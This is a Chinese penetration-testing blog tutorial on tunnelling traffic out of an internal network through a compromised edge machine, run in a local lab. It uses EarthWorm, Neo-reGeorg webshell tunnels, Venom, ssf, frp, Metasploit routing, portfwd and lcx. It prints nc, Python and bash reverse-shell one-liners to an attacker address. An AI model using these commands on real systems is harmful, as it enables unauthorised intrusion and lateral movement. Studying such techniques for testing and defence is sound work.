Drunkmars's Blog

内网穿透的n种姿势

字数统计: 1.3k阅读时长: 5 min
2021/05/08

本文首发于先知社区:https://xz.aliyun.com/t/9454

在渗透中拿到一台边缘机器后剩余内网机器不出网的情况很常见,这时我们就需要把内网机器流量转到边缘机器上再进行访问,内网流量转出来的方法很多,在下面就介绍几种常见的方法。

环境介绍

本地环境搭建:

边缘机器:

windows 7

ip:192.168.10.15(外)

192.168.52.143(内)

目标机器:

windows 2008R2

ip:192.168.52.138

攻击机器:

windows 2008

ip:192.168.10.3

kali:

msf5:192.168.10.14

msf6:192.168.10.11

EarthWorm

将ew_for_windows上传到边缘机器

正向连接

适用于目标机器拥有一个外网ip

在win7机器上执行ew -s ssocksd -l 888监听本机888端口。然后在2008r2机器上使用proxifier进行连接

可以访问内网资源

反向连接

适用于边缘机器无公网ip

攻击机器上执行

1
ew_for_Win.exe -s rcsocks -l 1080 -e 1234

对外1234端口转发到1080端口

然后边缘机器连接

1
ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234

Neo-reGeorg

注:这里需要python环境,在2008R2上弄总是出错,切到物理机进行实验,原理相同

生成文件

1
python neoreg.py generate -k 123456

在neoreg_servers目录下生成了木马文件

这里web机器解析php,所以我上传一个tunnel.php的马到web机器(win7)上

攻击机连接

1
python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php

Venom

攻击机器上执行

1
admin.exe -lport 9999

边缘机器(win7)执行

1
agent.exe -rhost 192.168.10.3 -rport 9999

攻击机查看反弹成功

执行命令

1
2
3
goto 1

socks 6666

ssf

正向连接

把certs文件夹和ssfd上传到边缘机器

边缘机器开启1333端口

1
ssfd.exe ‐p 1333

攻击机连接边缘机器的1333端口,并将数据转发给1222端口

1
ssfd.exe ‐D 1222 ‐p 1333 192.168.10.15

2008r2出问题,换到物理机上执行

反向连接

攻击机本地监听1234端口,命令如下:

1
ssfd.exe ‐p 1234

边缘机器连接1234端口,并将数据转发到12345端口,命令如下:

1
ssf.exe ‐F 12345 ‐p 1234 192.168.10.3

此处没有实验成功,还是写下步骤

本地socks代理连接127.0.0.1 12345端口

frp

攻击机设置frps.ini

1
2
3
4
5
6
7
[common]

bind_port = 6666

运行如下命令:

frps.exe -c frps.ini

在边缘机器设置frpc.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14

[common]

server_addr = 192.168.10.3

server_port = 6666

[http_proxy]

type=tcp

remote_port=7777

plugin=socks5

执行如下命令:

1
frpc.exe ‐c frpc.ini

攻击机查看

监听本地7777端口

msf

msf5

此处需要注意一个问题,新版的msf6已经不带socks4a、socks5这两个模块,使用的是socks_proxy这个模块,这里我用msf5先进行演示

msf5下还是有2个模块

省略掉获取meterpreter的过程,拿到之后background将会话在后台挂起

执行如下命令添加路由

1
2
3
route add 192.168.52.0 255.255.255.0 1  

route print

这里如果要用socks代理需要先在etc文件夹下的proxychains.conf文件进行配置

先把dynamic_chain打开

在最后添加本地ip和端口

执行如下命令

1
2
3
4
5
use auxiliary/server/socks4a

set srvport 1080

run

proxychains配合nmap进行内网扫描

1
proxychain nmap 192.168.52.138 -sV -sT -p 80

进入浏览器配置代理,注意选择socks4代理

访问下内网80端口的iis,成功访问

msf6

下面演示下msf6的操作

发现在msf6下只剩下了socks_proxy这个模块

还是先修改proxychains4.conf这个配置文件

添加路由使用模块同上

这里注意一下,我们在运行之前先show options一下,发现默认是socks5代理运行

如果想使用socks4a代理,添加如下语句即可

1
set version 4a

修改浏览器配置

成功访问内网资源

portfwd端口转发

portfwd
是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下

1
portfwd add -l 3389 -r 192.168.52.138 -p 3389

然后我们访问本地3389

1
rdesktop 127.0.0.1:3389

nc

正向连接

需要目标有公网ip

目标机器

1
2
3
nc -lvp 4444 -e /bin/sh linux

nc -lvp 4444 -e c:\\windows\\system32\\cmd.exe windows

攻击机器

1
nc <目标机器ip> 4444

反向连接

攻击机器监听本地1234端口

1
nc -lvp 1234

目标机器执行

1
2
3
nc <ip> 1234 -e /bin/sh linux

nc <ip> 1234 -e cmd.exe windows

在一般情况下目标机器是没有nc的,这里可以用其他工具或者编程语言来代替nc

python反向shell

攻击机器:

1
nc -lvp 2222

目标机器:

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

bash反向shell

攻击机器:

1
nc -lvp 2222

目标机器:

1
bash -i >& /dev/tcp/192.168.10.3/2222 0>&1

lcx

目标机器

1
shell C:\\installs\\lcx.exe -slave 158.247.203.98 4444 127.0.0.1 3389

vps

1
lcx.exe -listen 4444 5555

CATALOG
  1. 1. 环境介绍
  2. 2. EarthWorm
    1. 2.1. 正向连接
    2. 2.2. 反向连接
  3. 3. Neo-reGeorg
  4. 4. Venom
  5. 5. ssf
    1. 5.1. 正向连接
    2. 5.2. 反向连接
  6. 6. frp
  7. 7. msf
    1. 7.1. msf5
    2. 7.2. msf6
    3. 7.3. portfwd端口转发
  8. 8. nc
    1. 8.1. 正向连接
    2. 8.2. 反向连接
    3. 8.3. python反向shell
    4. 8.4. bash反向shell
  9. 9. lcx